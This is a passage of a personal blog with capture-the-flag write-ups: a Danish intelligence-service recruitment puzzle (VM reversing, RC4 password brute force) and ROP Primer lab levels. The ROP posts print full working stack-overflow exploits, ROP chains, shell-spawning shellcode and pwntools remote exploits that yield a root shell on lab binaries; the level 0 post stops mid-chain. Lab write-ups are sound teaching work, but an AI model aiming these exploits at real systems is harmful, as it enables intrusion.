Monday, March 27, 2017

Danish Defence Intelligence Service Hacker academy challenge 2017

Introduction

The DDIS (danish version of NSA) recruits hackers and has an academy for teaching both offensive and defensive techniques. For their 2017 recruiting campaign they posted a puzzle for us to solve and I must say it is one of the best puzzles I have solved.

Here it is:

On the left, x86 machine code, on the right, base64 encoded something.

The text is not OCR friendly. I tried but there were too many errors that I would have to sort out manually, so I wrote a tool to cut out each character and match them up against a table I built up little by little. If no close match was found the tool would show me the character and I would provide the answer which would go into the table. Little by little the tool should get smarter, but it still took forever.

That was when someone told me to focus on the highlighted characters on the right. Put them together you get MzJoYWNrZXI1NTd6amt6aS5vbmlvbgo and base64 decode them you get 32hacker557zjkzi.onion, a dark web address. If you go there (and if it's still up) you find two images linking to two text files:


The emu pointed to a transcript of the assembly code on the left and the disk to a transcript of the base64 encoded stuff on the right.

The assembly code

The assembly shows an incomplete implementation of a virtual machine for executing a 32 bit instruction set. It uses three memory regions named DISK, MEM and REGS.

What IS implemented is a BIOS that reads one 512 byte sector from DISK into MEM:

U5_LE:
;Copy 0x200 (512) bytes from DISK to MEM
mov ecx, 0x200       ; Copy 512 bytes
mov edi, MEM         ; ...to MEM
mov esi, DISK        ; ...from DISK
rep movsb            ; Do it!

...and a fetch/decode/execute cycle that reads one 32 bit instruction, increments the program counter, zeroes a register (MIPS zero register style), decodes and executes the instruction:

SPIN:
mov edx, REG(63)     ; Read 64th entry of REGS table into edx
mov edx, PTR(edx)    ; Read MEM+edx into edx
add WORD REG(63), 4  ; Make 64th entry of REGS table point one entry higher
mov WORD REG(0), 0   ; Zero out first entry of REGS table

; The dword retrieved from MEM into edx works like a small language.
; It consists of an opcode and up to three operands like this:
; [AAAA|ABBB|BBBC|CCCC|CDDD|DDD_|____|____]
; 
; In the following code this happens:
; * The A's are moved into eax
; * The B's are moved into ebp
; * The C's are moved into esi
; * The D's are moved into edi
;
; The A's are then used to look up an instruction in the OP_TABLE, so those five bits are the opcode
; ebp, edi and esi are operands.
;
; REGS is an array of 64 dwords functioning as registers.
; REGS[63] is the program counter
; REGS[0] is initialized to zero before every execute cycle, works kind of like the MIPS zero register

; Move six bits into ebp (the B's)
mov ebp, edx
shr ebp, 21
and ebp, 77o

; Move six bits into esi (the C's)
mov esi, edx
shr esi, 15
and esi, 77o

; Move six bits into edi (the D's)
mov edi, edx
shr edi, 9
and edi, 77o

; Move top five bits into eax (the A's) and use it to look up an opcode in the OP_TABLE
; Jump to that opcode
mov eax, edx
shr eax, 27
mov eax, [OP_TABLE + eax * 4]
jmp eax

The last two instructions above isolates the top five bits and use them to look up the instruction in the OP_TABLE and then jumps to the implemenetation. However, only some of the instructions have been implemented, but it turns out they are enough to let us take an educated guess to how the rest should be implemented. A commented version of the implemented instructions folow:

; OP_LOAD_B = Load Byte (one byte)
; OP_LOAD_H = Load Half Word (two bytes)
; OP_LOAD_W = Load Word (four bytes)

; Load Word
; REGS[B] = MEM[REGS[C] + REGS[D]]
OP_LOAD_W:
mov eax, REG(esi)
add eax, REG(edi)
mov eax, PTR(eax)
mov REG(ebp), eax
jmp SPIN

; REGS[B] = REGS[C] * REGS[D]
OP_MUL:
mov eax, REG(esi)
mul DWORD REG(edi)
mov REG(ebp), eax
jmp SPIN

; REGS[B] = I << S
; [AAAA|ABBB|BBBI|IIII|IIII|IIII|IIIS|SSSS]
OP_MOVI:
mov eax, edx
mov ecx, edx
;Isolate 16 bits stating form sixth
shr eax, 5
and eax, 0xffff
;Isolate lower five bits
and ecx, 37o
shl eax, cl        ; Left shift the 'I' immediate by 'S' bits
mov REG(ebp), eax  ; ..and store them in REGS[B]
jmp SPIN

; if REGS[D] != 0:
;     REGS[B] = REGS[C]
OP_CMOV:
mov eax, REG(edi)
test eax, eax
jz .F
mov eax, REG(esi)
mov REG(ebp), eax
.F:
jmp SPIN

; Write to stdout
; putchar(REGS[B])
OP_OUT:
push DWORD REG(ebp)
call putchar
add esp, 4
jmp SPIN

; Read from DISK into MEM the 512 byte block indexed by the B register to the memory address specified by the D register
; memcpy(MEM + REGS[B], DISK + (REGS[C] * 512), 512)
OP_READ:
mov ecx, 0x200
mov esi, REG(esi)
shl esi, 9
lea esi, [DISK + esi]
mov edi, REG(ebp)
lea edi, PTR(edi)
rep movsb
jmp SPIN

Using them I implemented the rest as I think they should work into my fe_vm.c.

Running my VM implementation on the base64 decoded data shows that it is in fact bytecode for the vm:

We are asked for a password for decrypting something, but I don't know the password. I tried different words from the picture of the disk. Also tried different often used passwords without any luck. Disabling my runtrace output made me able to brute force 20-25 passwords per second so I skipped that idea. I guess I have to reverse engineer the bytecode.

Reversing the bytecode

Before getting into the bytecode (here is my commented disassembly) here are some observations about register usage:

  • r0 = zero register, always contain the value zero
  • r1 = return value from subrouting calls
  • r3 = First arg to subroutine calls
  • r4 = Second arg to subroutine calls
  • r5 = Third arg to subroutine calls
  • r59 = Link register, contains return address from subroutine calls
  • r62 = Stack register
  • r63 = Program counter, points to next instruction to execute

Calling subroutines are done either by ADD or CMOV instructions. ADD is used for unconditional calls and CMOV for conditional ones. Before calling the link register is populated with the address of the instruction following the call and argument registers are populated. For example:

; putstring("OK\n")
030c   MOVI  r3, 0xaf3        ; Address of "OK\n"
0310   MOVI  r57, 0x8         ; Set return address
0314   ADD   r59, r63, r57    ; ...more setting return address
0318   MOVI  r57, 0x870       ; Address of putstring
031c   ADD   r63, r57, r0     ; Call putstring

I did not reverse engineer the entire thing, only the routines I actually needed which are still most of them. I found a routine that simply wasted time by looping 100.000 times and another routine that called that time wasting routine three times. So, that was the reason the decryption was so slow!

I found out that RC4 was used for decrypting data. RC4 is quite easy to recognize so I stopped reversing after I discovered it. The program checked for a correct password by decrypting a 56 byte data section and matching it against the string "Another one got caught today, it's all over the papers.". If that was not the result, the "Bad key" message is printed and the program exits. So, to get to the next level we need to do a known plain text attack against RC4.

Breaking the crypto

RC4 has problems. It is a stream cipher, and the output of a good stream cipher is indistinguishable from random, but if I recall correctly the first 100 or so bytes has a bias toward one bits. This is not gonna help me thou so I go for mounting a brute force attack and crossing my fingers. I lifted both the ciphertext and plaintext from the disk image and coded a progam that searches for a usable key: pta.c

Aaaand it works.

So let's try with our newfound password.

The password is "agent", which is near the top of a dictionary, so we could have solved this by brute forcing the program after all but that would not have been nearly as fun.

The web server

So, the program rewrote itself into a web server and provided us with xinetd configuration for running it. I try that and point my browser towards it but get nothing.

Peeking inside the disk image gets us a couple of probable paths and one of them gives us this:

It says something like "Congratulations, you've solved a puzzle few people could...yada yada yada...get a free t-shirt".

However it also says "PS: Did you find everything?", so apparently there is more to the challenge. I look into the other URLs I found from peeking into the disk image. A few pictures and a couple of documents. Nothing to see thou and no apparent steganography, so what's left is looking into the machine code.

Reverse engineering the web server

I start tracing the web server code and produce a disassembly.

The code is pretty easy to read now that I have gained some experience with it and I quickly identify functions like strcpy, strchr, strcmp and others.

The web server reads a line and splits it in request method, request path and http version. Only GET requests are supported.

Then an odd sequence of checks are made (beginning from line 229 in my commented dissembly).

What happens is that a "secret" path is checked for one character at a time and in a random order making it a little harder to follow. I didn't reverse the entire path because I guessed it eventually.

Following the secret url yields this:

So, apparently I solved it. A pretty well built challenge I must say.

Thursday, August 6, 2015

ROP Primer v0.2 level 2

Last level in the series, and according to the developer this is the hardest one, since we cannot use nul bytes. Meh.
Again we have the source code:

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv, char **argp)
{
  if (argc > 1)
  {
      char name[32];
      printf("[+] ROP tutorial level2\n");
      strcpy(name, argv[1]);
      printf("[+] Bet you can't ROP me this time around, %s!\n", name);
  }
  return 0;
}

So, our ROP chain needs to be in the first argument to the program. Another thing, this binary is statically linked and contains almost everything that the first binary did:

$ file level2 
level2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.26, BuildID[sha1]=baba7f4fd049424caed048eb73eb6668b45a962e, not stripped
$ readelf -s level2 | wc -l
2059

So this should be pretty easy. Why?
Because we can probably more or less just copy the ROP chain we built for level0. The gadgets will be in new locations but most, if not all, should still be there. These are the gadgets we used in level0:

0x080495f7 : jmp eax
0x0804f9f1 : dec ebx; ret
0x080525c6 : pop edx; ret
0x080525ed : pop ecx; pop ebx; ret
0x08052cf0 : int 0x80; ret
0x08068c63 : inc edx; or al, 0x5d; ret
0x0806a60f : inc eax; ret
0x0806b53e : add eax, ecx; ret
0x0806b893 : pop eax; ret
0x0806bf9c : dec eax; ret
0x08082fd0 : inc ebx; or al, 0xeb; ret
0x08097bff : xor eax, eax; ret
0x08097eda : add ecx, ecx; ret
0x080c8933 : inc ecx; ret

I looked into level2 and this is what I found:

0x08049477 : jmp eax
0x0804f871 : dec ebx; ret
0x08052476 : pop edx; ret
0x0805249d : pop ecx; pop ebx; ret
0x08052ba0 : int 0x80; ret
0x08068973 : inc edx; or al, 0x5d; ret
0x0806a2ef : inc eax; ret
0x0806b21e : add eax, ecx; ret
0x080a81d6 : pop eax; ret
0x080a80c6 : dec eax; ret
0x08082cb0 : inc ebx; or al, 0xeb; ret
0x08097a7f : xor eax, eax; ret
0x08097d5a : add ecx, ecx; ret
0x080c86db : inc ecx; ret

Exactly the same!

So, what to do?

My plan will be to use the same ROP chain as in level0. When it has run it will read shellcode from standard in and hopefully spawn a shell. The ROP chain will be delivered through the first argument.

Lets build the exploit, and remember to turn on ASLR on the VM.

First, how many bytes should we write before controlling eip?

$ gdb -q ./level2
Reading symbols from ./level2...(no debugging symbols found)...done.
(gdb) r $(cyclic 100)
Starting program: /home/robert/code/OnlineWargames/VulnHub/rop-primer-v0.2/level2/level2 $(cyclic 100)
[+] ROP tutorial level2
[+] Bet you can't ROP me this time around, aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa!

Program received signal SIGSEGV, Segmentation fault.
0x6161616c in ?? ()
(gdb) quit
A debugging session is active.

	Inferior 1 [process 5800] will be killed.

Quit anyway? (y or n) y
$ cyclic -l 0x6161616c
44
$ 

44. How nice. Here is our exploit:

#!/usr/bin/env python2

import struct, sys, time

ret_offset = 44
writable = 0x08048000

def rop_chain():
    gadgets = [
        #mprotect(writable, 1024, PROT_READ|PROT_WRITE|PROT_EXEC)
        #Set edx = 7 = PROT_READ|PROT_WRITE|PROT_EXEC
         0x08052476 # pop edx; ret               edx = -1
        ,0xffffffff  # -> edx
        ,0x08068973 # inc edx; or al, 0x5d; ret  edx = 0
        ,0x08068973 # inc edx; or al, 0x5d; ret  edx = 1
        ,0x08068973 # inc edx; or al, 0x5d; ret  edx = 2
        ,0x08068973 # inc edx; or al, 0x5d; ret  edx = 3
        ,0x08068973 # inc edx; or al, 0x5d; ret  edx = 4
        ,0x08068973 # inc edx; or al, 0x5d; ret  edx = 5
        ,0x08068973 # inc edx; or al, 0x5d; ret  edx = 6
        ,0x08068973 # inc edx; or al, 0x5d; ret  edx = 7

        #Set eax=125=SYS_mprotect
        #Set ecx=1024=size
        #Set ebx=writable
        ,0x0805249d # pop ecx; pop ebx; ret   ecx=-1, ebx=writable
        ,0xffffffff  # -> ecx             ecx = -1
        ,writable + 1# -> ebx             ebx = writable + 1
        ,0x0804f871 # dec ebx; ret       ebx = writable

        ,0x080c86db # inc ecx; ret       ecx = 0
        ,0x080c86db # inc ecx; ret       ecx = 1
        ,0x080c86db # inc ecx; ret       ecx = 2
        ,0x08097d5a # add ecx, ecx; ret  ecx = 4
        ,0x08097d5a # add ecx, ecx; ret  ecx = 8
        ,0x08097d5a # add ecx, ecx; ret  ecx = 16
        ,0x08097d5a # add ecx, ecx; ret  ecx = 32
        ,0x08097d5a # add ecx, ecx; ret  ecx = 64
        ,0x08097d5a # add ecx, ecx; ret  ecx = 128

        ,0x08097a7f # xor eax, eax; ret  eax = 0
        ,0x0806b21e # add eax, ecx; ret  eax = 128
        ,0x080a80c6 # dec eax; ret       eax = 127
        ,0x080a80c6 # dec eax; ret       eax = 126
        ,0x080a80c6 # dec eax; ret       eax = 125 = SYS_mprotect

        ,0x08097d5a # add ecx, ecx; ret  ecx = 256
        ,0x08097d5a # add ecx, ecx; ret  ecx = 512
        ,0x08097d5a # add ecx, ecx; ret  ecx = 1024

        #Now we're ready for mprotect
        ,0x08052ba0 # int 0x80; ret    Issue syscall

        #read(0, writable, 0x01010101)
        #eax = 3 = SYS_read, ebx = 0, ecx = writable, edx = 0x01010101

        #Set ecx = writable
        ,0x0805249d # pop ecx; pop ebx; ret          ecx = writable + 1, ebx = -1
        ,writable + 1#-> ecx
        ,0xffffffff  #-> ebx

        #Set ebx = 0, now it is -1
        ,0x08082cb0 # inc ebx; or al, 0xeb; ret      ebx = 0
        
        #Set eax = 3
        ,0x08097a7f # xor eax, eax; ret
        ,0x0806a2ef # inc eax; ret  #eax = 1
        ,0x0806a2ef # inc eax; ret  #eax = 2
        ,0x0806a2ef # inc eax; ret  #eax = 3

        #Set edx = 0x01010101
        ,0x08052476 # pop edx; ret
        ,0x01010101  #-> edx

        #And we're ready for read
        ,0x08052ba0 # int 0x80; ret    Issue syscall

        #Now jump to writable
        ,0x080a81d6 # pop eax; ret
        ,writable + 1# -> eax
        ,0x08049477 # jmp eax  GOTO shellcode!
    ]
    return ''.join(struct.pack('<I', _) for _ in gadgets)

print 'A' * ret_offset + rop_chain()

It's more or less exactly the same as in level2 except it does not contain a shellcode, that should be piped in through standard in. pwntools has a tool called shellcraft which can be used for generating shellcode. I'll generate a shell spawning shellcode, write it to a file and upload it to the VM together with the exploit.


$ shellcraft -f r i386.linux.sh > shellcode
$ scp -P 2222 shellcode level2@localhost:
level2@localhost's password: 
shellcode                    100%   22     0.0KB/s   00:00    
$ scp -P 2222 exploit.py level2@localhost:
level2@localhost's password: 
exploit.py                   100% 3082     3.0KB/s   00:00    
$ ssh -p 2222 level2@localhost
level2@localhost's password: 
Welcome to Ubuntu 14.04.1 LTS (GNU/Linux 3.13.0-32-generic i686)

 * Documentation:  https://help.ubuntu.com/
Last login: Wed Jan 21 01:00:23 2015 from 192.168.56.1
level2@rop:~$ ( cat shellcode && cat ) | ./level2 "$(./exploit.py)"
[+] ROP tutorial level2
[+] Bet you can't ROP me this time around, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAv����s�s�s�s�s�s�s�s�������q�ۆ
                                                                                                                     ۆ
                                                                                                                     ۆ
                                                                                                                     Z}Z}      Z}      Z}      Z}      Z}     z�ƀ
ƀ
ƀ
Z}     Z}      Z}      ������z������v�ց
�w�!
whoami
root
cat flag
flag{to_rop_or_not_to_rop}
Easy money.

Wednesday, August 5, 2015

ROP Primer v0.2 level 1

So, I've pwned level0 the hard way, lets continue on that path and take on level1.

Let's have a quick view:

$ file level1
level1: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=8a2b93e2b54246aa15e8ff2447035e740fb176cb, not stripped
$ checksec level1
[*] '/media/data/code/OnlineWargames/VulnHub/rop-primer-v0.2/level1/level1'
    Arch:          i386-32-little
    RELRO:         No RELRO
    Stack Canary:  No canary found
    NX:            NX enabled
    PIE:           No PIE
$ readelf -s level1 | grep -E '(system)|(mprotect)|(mmap)|(exec)'
$

So, this one is dynamically linked and lacks our favorite functions for getting code execution. Bummer!
Luckily we have an awesome tool at our disposal: pwntools!

The developer of this challenge has hinted that we should just read a flag file, but I want code execution. pwntools makes both these goals easy so let's do both. Get my stuff here. Also, not bypassing ASLR is for n00bz, so enable ASLR! And install pwntools (sudo pip install pwntools).

First read flag!

No wait, first find vulnerability!

We have the C code for the binary which is pretty easy to read. The vulnerability is in the handle_conn function at line 72:

char filename[32], cmd[32];
...
read(fd, &str_filesize, 6);
filesize = atoi(str_filesize);
...
read_bytes = read(fd, filename, filesize);

We control filesize and that read into filename should probably only have read 31 bytes. Lets see how much we should write before hitting the return address. In terminal 1:

$ gdb -q ./level1
Reading symbols from ./level1...(no debugging symbols found)...done.
(gdb) set follow-fork-mode child
(gdb) r
Starting program: /media/data/code/OnlineWargames/VulnHub/rop-primer-v0.2/level1/level1 
[New process 7150]

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 7150]
0x61616171 in ?? ()
(gdb)

...and terminal 2:

$ cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
$ nc localhost 8888
Welcome to 
 XERXES File Storage System
  available commands are:
  store, read, exit.

> store
 Please, how many bytes is your file?

> 101
 Please, send your file:

> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
   XERXES is pleased to inform you
    that your file was received
        most successfully.
 Please, give a filename:
> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
^C
$ cyclic -l 0x61616171
64
$

So we need to write 64 chars before overwriting the return address. Luckily for us the vulnerability uses read to fetch our data so there are absolutely no bad characters and we can form the stack exactly as we wish.

Also, both open, read, write and the string "flag" (which is the name of the file) can be found in the binary. The functions are all in the PLT and thus callable just as if they were implemented directly in the binary. We'll also need memset, which is also in the PLT.

$ readelf -s level1 | grep -E '(read)|(write)|(open)|(memset)'
     2: 00000000     0 FUNC    GLOBAL DEFAULT  UND read@GLIBC_2.0 (2)
    11: 00000000     0 FUNC    GLOBAL DEFAULT  UND open@GLIBC_2.0 (2)
    14: 00000000     0 FUNC    GLOBAL DEFAULT  UND write@GLIBC_2.0 (2)
    16: 00000000     0 FUNC    GLOBAL DEFAULT  UND memset@GLIBC_2.0 (2)
    48: 00000000     0 FUNC    GLOBAL DEFAULT  UND read@@GLIBC_2.0
    56: 080488cb    74 FUNC    GLOBAL DEFAULT   14 write_file
    65: 00000000     0 FUNC    GLOBAL DEFAULT  UND open@@GLIBC_2.0
    69: 00000000     0 FUNC    GLOBAL DEFAULT  UND write@@GLIBC_2.0
    72: 00000000     0 FUNC    GLOBAL DEFAULT  UND memset@@GLIBC_2.0
    89: 0804889c    47 FUNC    GLOBAL DEFAULT   14 write_buf

Let's try building a flag stealing exploit.

pwntools is a Python framework that can be used for building exploits and it can be installed through 'pip'. We will be using the remote, ELF and ROP classes in our exploit.

remote is a socket connection and can be used to connect and talk to a listening server. ELF knows how to look up addresses in the binary such as PLT entries and the location of the "flag" string. ROP can build ROP chains using PLT entries.

Actually, let's play around with the ROP class before building our exploit. Say we wanted to do this:

//0x0804a000 is known to be mapped and writable
memset(0x0804a000, 0, 129); //Just to remove crap
open("flag", 0); //This will return file descriptor 3
read(3, 0x0804a000, 128);
write(4, 0x0804a000, 128); //Our socket is file descriptor 4

This is how it could be done:

$ python
Python 2.7.9 (default, Apr  2 2015, 15:33:21) 
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> e = ELF('level1')
[*] '/vagrant/level1'
    Arch:          i386-32-little
    RELRO:         No RELRO
    Stack Canary:  No canary found
    NX:            NX enabled
    PIE:           No PIE
>>> r = ROP(e)
[*] Loaded cached gadgets for 'level1' @ 0x8048000
>>> r.memset(0x0804a000, 0, 129)
>>> r.open(next(e.search('flag')), 0)
>>> r.read(3, 0x0804a000, 128)
>>> r.write(4, 0x0804a000, 128)
>>> print r.dump()
0x0000:        0x8048720 (memset)
0x0004:        0x8048ef6 (pop esi; pop edi; pop ebp; ret)
0x0008:        0x804a000
0x000c:              0x0
0x0010:             0x81
0x0014:        0x80486d0 (open)
0x0018:        0x8048ef7 (pop edi; pop ebp; ret)
0x001c:        0x8049128
0x0020:              0x0
0x0024:        0x8048640 (read)
0x0028:        0x8048ef6 (pop esi; pop edi; pop ebp; ret)
0x002c:              0x3
0x0030:        0x804a000
0x0034:             0x80
0x0038:        0x8048700 (write)
0x003c:       0xdeadbeef
0x0040:              0x4
0x0044:        0x804a000
0x0048:             0x80
>>>

We simply call the functions we want on the ROP object with the arguments we want and it will find the PLT entry and build a ROP stack for us. Between calls we return to gadgets that remove the arguments from the stack so that we can return to the next call on the list. The last return address is 0xdeadbeef so at that point the binary will segfault unless we end up calling exit. I won't thou, you do it!

The exploit is so embarrassingly simple that I'll show it here:


#!/usr/bin/env python2

import sys
from pwn import *

context(arch = 'i386', os = 'linux')

HOST="localhost"
PORT=8888
#A writable mapped address
WRITABLE = 0x0804a000
#The socket is always file descriptor 4
SOCKET_FD = 4
#The opened file is always file descriptor 3
FILE_FD = 3

elf = ELF('level1')
rop = ROP(elf)
#We don't know how large the file is but probably less than 128 bytes
#so null out 129 bytes
rop.memset(WRITABLE, 0, 129)
#Open the 'flag' file. The string 'flag' can be found in the binary
rop.open(next(elf.search('flag')), 0)
#Read 128 bytes from the file
rop.read(FILE_FD, WRITABLE, 128)
#And write the result on the socket
rop.write(SOCKET_FD, WRITABLE, 128)

#64 chars before overwriting return address
payload = 'A' * 64 + rop.chain()

def pwn(host, port):
    r = remote(host, port)
    r.recvuntil('> ')
    r.send('store\n')
    r.recvuntil('> ')
    r.send('%d\n' % (len(payload) + 1))
    r.recvuntil('> ')
    r.send(payload + '\n')
    r.recvuntil('> ')
    r.send(payload)
    print r.recv().rstrip('\x00')

if len(sys.argv) > 1: HOST = sys.argv[1]
if len(sys.argv) > 2: PORT = int(sys.argv[2])
pwn(HOST, PORT)

Dead simple, right?
Let's see if it works:

$ ./flag_exploit.py 
[*] '/home/robert/code/OnlineWargames/VulnHub/rop-primer-v0.2/level1/level1'
    Arch:          i386-32-little
    RELRO:         No RELRO
    Stack Canary:  No canary found
    NX:            NX enabled
    PIE:           No PIE
[*] Loaded cached gadgets for 'level1' @ 0x8048000
[+] Opening connection to localhost on port 8888: Done
flag{just_one_rop_chain_a_day_keeps_the_doctor_away}

[*] Closed connection to localhost port 8888

Yay!

But we're not happy yet, because we only have a flag, not code execution.
There were no usable functions in the binary and it is not big enough to allow us to build a chain to invoke the syscalls directly. What to do?

It turns out we don't need all that much. We can read more or less anything in the process memory space because we can call write with whatever arguments we want, so with a little ingenuity we can walk the structures that the linker uses to resolve symbols.

That is quite complex but fortunately pwntools has done all the work for us. We need DynELF!

DynELF is another class in pwntools. We pass it an ELF object and a function that given an address will read and return the data at that location and our ROP chain above does more or less just that.

That way we can resolve mprotect and then we can mark a memory segment as read/write/executable and place shellcode there. pwntools also contains a very useful shellcode library so the get_a_shell exploit is also quite simple. Have a look:

#!/usr/bin/env python2

import sys
from pwn import *

context(arch = 'i386', os = 'linux')

HOST="localhost"
PORT=8888
#A writable mapped address
WRITABLE = 0x0804a000
#The socket is always file descriptor 4
SOCKET_FD = 4

def rop_it(host, port, rop):
    '''ROP the host and return the socket'''
    payload = 'A' * 64 + rop.chain()
    r = remote(host, port)
    r.recvuntil('> ')
    r.send('store\n')
    r.recvuntil('> ')
    r.send('%d\n' % (len(payload) + 1))
    r.recvuntil('> ')
    r.send('A' * len(payload) + '\n')
    r.recvuntil('> ')
    r.send(payload)
    return r

def read_it(host, port, elf, addr, size):
    '''read and return the specified number of bytes
       from the specified address at the specified host'''
    rop = ROP(elf)
    rop.write(SOCKET_FD, addr, size)
    r = rop_it(host, port, rop)
    data = r.recv()
    r.close()
    return data

def leak_it(host, port, elf):
    '''return a leak function for the specified host and port'''
    def l(addr):
        return read_it(host, port, elf, addr, 4)
    return l

def pwn(host, port):
    #ELF object can find gadgets and useful PLT entries
    elf = ELF('level1')
    #DynELF knows how to resolve functions using an infoleak vuln
    dyn = DynELF(leak_it(host, port, elf), elf = elf)
    #..so let's use it to find 'mprotect' from 'libc'
    mprotect = dyn.lookup('mprotect', 'libc')
    #Have a shellcode that dup2 the socket and spawns a shell
    shellcode = asm(shellcraft.dupsh(SOCKET_FD))
    #Create a ROP object for calling this chain:
    #mprotect(0x0804a000, len(shellcode), PROT_READ | PROT_WRITE | PROT_EXEC)
    #read(4, 0x0804a000, len(shellcode)
    #((void(*)())0x0804a000)()
    rop = ROP(elf)
    rop.call(mprotect, (WRITABLE, len(shellcode), 7))
    rop.read(SOCKET_FD, WRITABLE, len(shellcode))
    rop.call(WRITABLE)
    #Send ROP
    r = rop_it(host, port, rop)
    #ROP requests our shellcode, so send it
    r.send(shellcode)
    #Go interactive
    r.interactive()


if len(sys.argv) > 1: HOST = sys.argv[1]
if len(sys.argv) > 2: PORT = int(sys.argv[2])
pwn(HOST, PORT)

Easy, right? But does it work?
Let's find out:

$ ./shell_exploit.py 
[*] '/home/robert/code/OnlineWargames/VulnHub/rop-primer-v0.2/level1/level1'
    Arch:          i386-32-little
    RELRO:         No RELRO
    Stack Canary:  No canary found
    NX:            NX enabled
    PIE:           No PIE
[*] Loaded cached gadgets for 'level1' @ 0x8048000
[+] Opening connection to localhost on port 8888: Done
[*] Closed connection to localhost port 8888
[+] Loading from '/home/robert/code/OnlineWargames/VulnHub/rop-primer-v0.2/level1/level1': 0xb7fff938
[+] Opening connection to localhost on port 8888: Done
[*] Closed connection to localhost port 8888
[+] Resolving 'mprotect' in 'libc.so': 0xb7fff938
[+] Opening connection to localhost on port 8888: Done
[*] Closed connection to localhost port 8888
[+] Opening connection to localhost on port 8888: Done
[*] Closed connection to localhost port 8888
...
...
[*] Closed connection to localhost port 8888
[+] Opening connection to localhost on port 8888: Done
[*] Switching to interactive mode
$ whoami
level2
$ ls
bleh
flag
level1
$ cat flag
flag{just_one_rop_chain_a_day_keeps_the_doctor_away}
$ 
[*] Interrupted
[*] Closed connection to localhost port 8888

Of course it does!

Each time DynELF looks up a new address we have to open a new connection so we get lots of output but in the end we get an interactive shell.

Tuesday, August 4, 2015

ROP Primer v0.2 level 0

Two years without a post. Nice!

I've been playing with a ROP challenge so I thought I would do a writeup. That's what all the cool kids do these days.

Find it here. And find an archive containing the binary, my exploit and some other stuff here.

This post will be about the 'level0' binary so check it out.

First I do a quick check to find out what I'm looking at:


$ file level0
level0: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.26, BuildID[sha1]=fb91c352b4d0f9680d22497e348340fe88d0fdf8, not stripped
$ checksec level0
[*] '/media/data/VirtualBox VMs/rop-primer-v0.2/level0/level0'
    Arch:          i386-32-little
    RELRO:         No RELRO
    Stack Canary:  No canary found
    NX:            NX enabled
    PIE:           No PIE
$ readelf -s level0 | wc -l
2064
$ readelf -s level0 | grep -E '(system)|(mprotect)'
   482: 080b16e0    62 OBJECT  LOCAL  DEFAULT    7 system_dirs
   483: 080b1720    16 OBJECT  LOCAL  DEFAULT    7 system_dirs_len
  1076: 080523e0    33 FUNC    GLOBAL DEFAULT    4 __mprotect
  1981: 080523e0    33 FUNC    WEAK   DEFAULT    4 mprotect

So, the binary is statically linked and as it turns out contains a whole lot of stuff that we can simply return to. But that's easy and thus boring, so we'll build a real ROP chain and use actual syscalls. And bypass ASLR, and not have nul bytes why not?

I started by uploading the binary to ropshell.com which in turn gave me a nice list of gadgets. Well, not entirely nice. The list contained offsets rather than addresses. The binary is not position independent, so I would really prefer addresses, so I hacked up this small utility to convert the list:


#!/usr/bin/env python2

import re, fileinput

regex = re.compile('^0x([0-9a-f]{8})( : .*)$')

for line in fileinput.input():
    line = line.rstrip()
    m = regex.match(line)
    if m:
        addr = int(m.group(1), 16) + 0x08048000
        print '0x%08x%s' % (addr, m.group(2))
    else:
        print line

The resulting list is in the archive. The following is a list of all the gadgets I ended up needing:

0x080488d9 : dec ecx; ret
0x080495f7 : jmp eax
0x0804f9f1 : dec ebx; ret
0x080525c6 : pop edx; ret
0x080525ed : pop ecx; pop ebx; ret
0x08052cf0 : int 0x80; ret
0x08068c63 : inc edx; or al, 0x5d; ret
0x0806a60f : inc eax; ret
0x0806b53e : add eax, ecx; ret
0x0806b893 : pop eax; ret
0x0806bf9c : dec eax; ret
0x08082fd0 : inc ebx; or al, 0xeb; ret
0x08097bff : xor eax, eax; ret
0x08097eda : add ecx, ecx; ret
0x080c8933 : inc ecx; ret

As is pretty usual some of these gadgets mess up each other while others accomplish multiple tasks, so nothing new here.

My plan is to execute something similar to this:

mprotect(0x0804a000, 1024, PROT_READ | PROT_WRITE | PROT_EXEC);
read(0, 0x0804a000, 0x01010101);
((void(*)())0x0804a000)();

The 0x0804a000 address is known to be mapped, as this is where the main binary is mapped.

Syscall number goes in eax and arguments go in ebx, ecx and edx respectively.

First we'll execute the mprotect syscall so we put PROT_READ | PROT_WRITE | PROT_EXEC into edx.

0x080525c6  # pop edx; ret               edx = -1
0xffffffff  # -> edx
0x08068c63  # inc edx; or al, 0x5d; ret  edx = 0
0x08068c63  # inc edx; or al, 0x5d; ret  edx = 1
0x08068c63  # inc edx; or al, 0x5d; ret  edx = 2
0x08068c63  # inc edx; or al, 0x5d; ret  edx = 3
0x08068c63  # inc edx; or al, 0x5d; ret  edx = 4
0x08068c63  # inc edx; or al, 0x5d; ret  edx = 5
0x08068c63  # inc edx; or al, 0x5d; ret  edx = 6
0x08068c63  # inc edx; or al, 0x5d; ret  edx = 7

Easy!

Next we'll put 125 (SYS_mprotect) into eax, 1024 into ecx and the writable address 0x0804a000 into edx.

0x080525ed  # pop ecx; pop ebx; ret   ecx=-1, ebx=writable
0xffffffff  # -> ecx             ecx = -1
0x0804a001  # -> ebx             ebx = writable + 1
0x0804f9f1  # dec ebx; ret       ebx = writable

0x080c8933  # inc ecx; ret       ecx = 0
0x080c8933  # inc ecx; ret       ecx = 1
0x080c8933  # inc ecx; ret       ecx = 2
0x08097eda  # add ecx, ecx; ret  ecx = 4
0x08097eda  # add ecx, ecx; ret  ecx = 8
0x08097eda  # add ecx, ecx; ret  ecx = 16
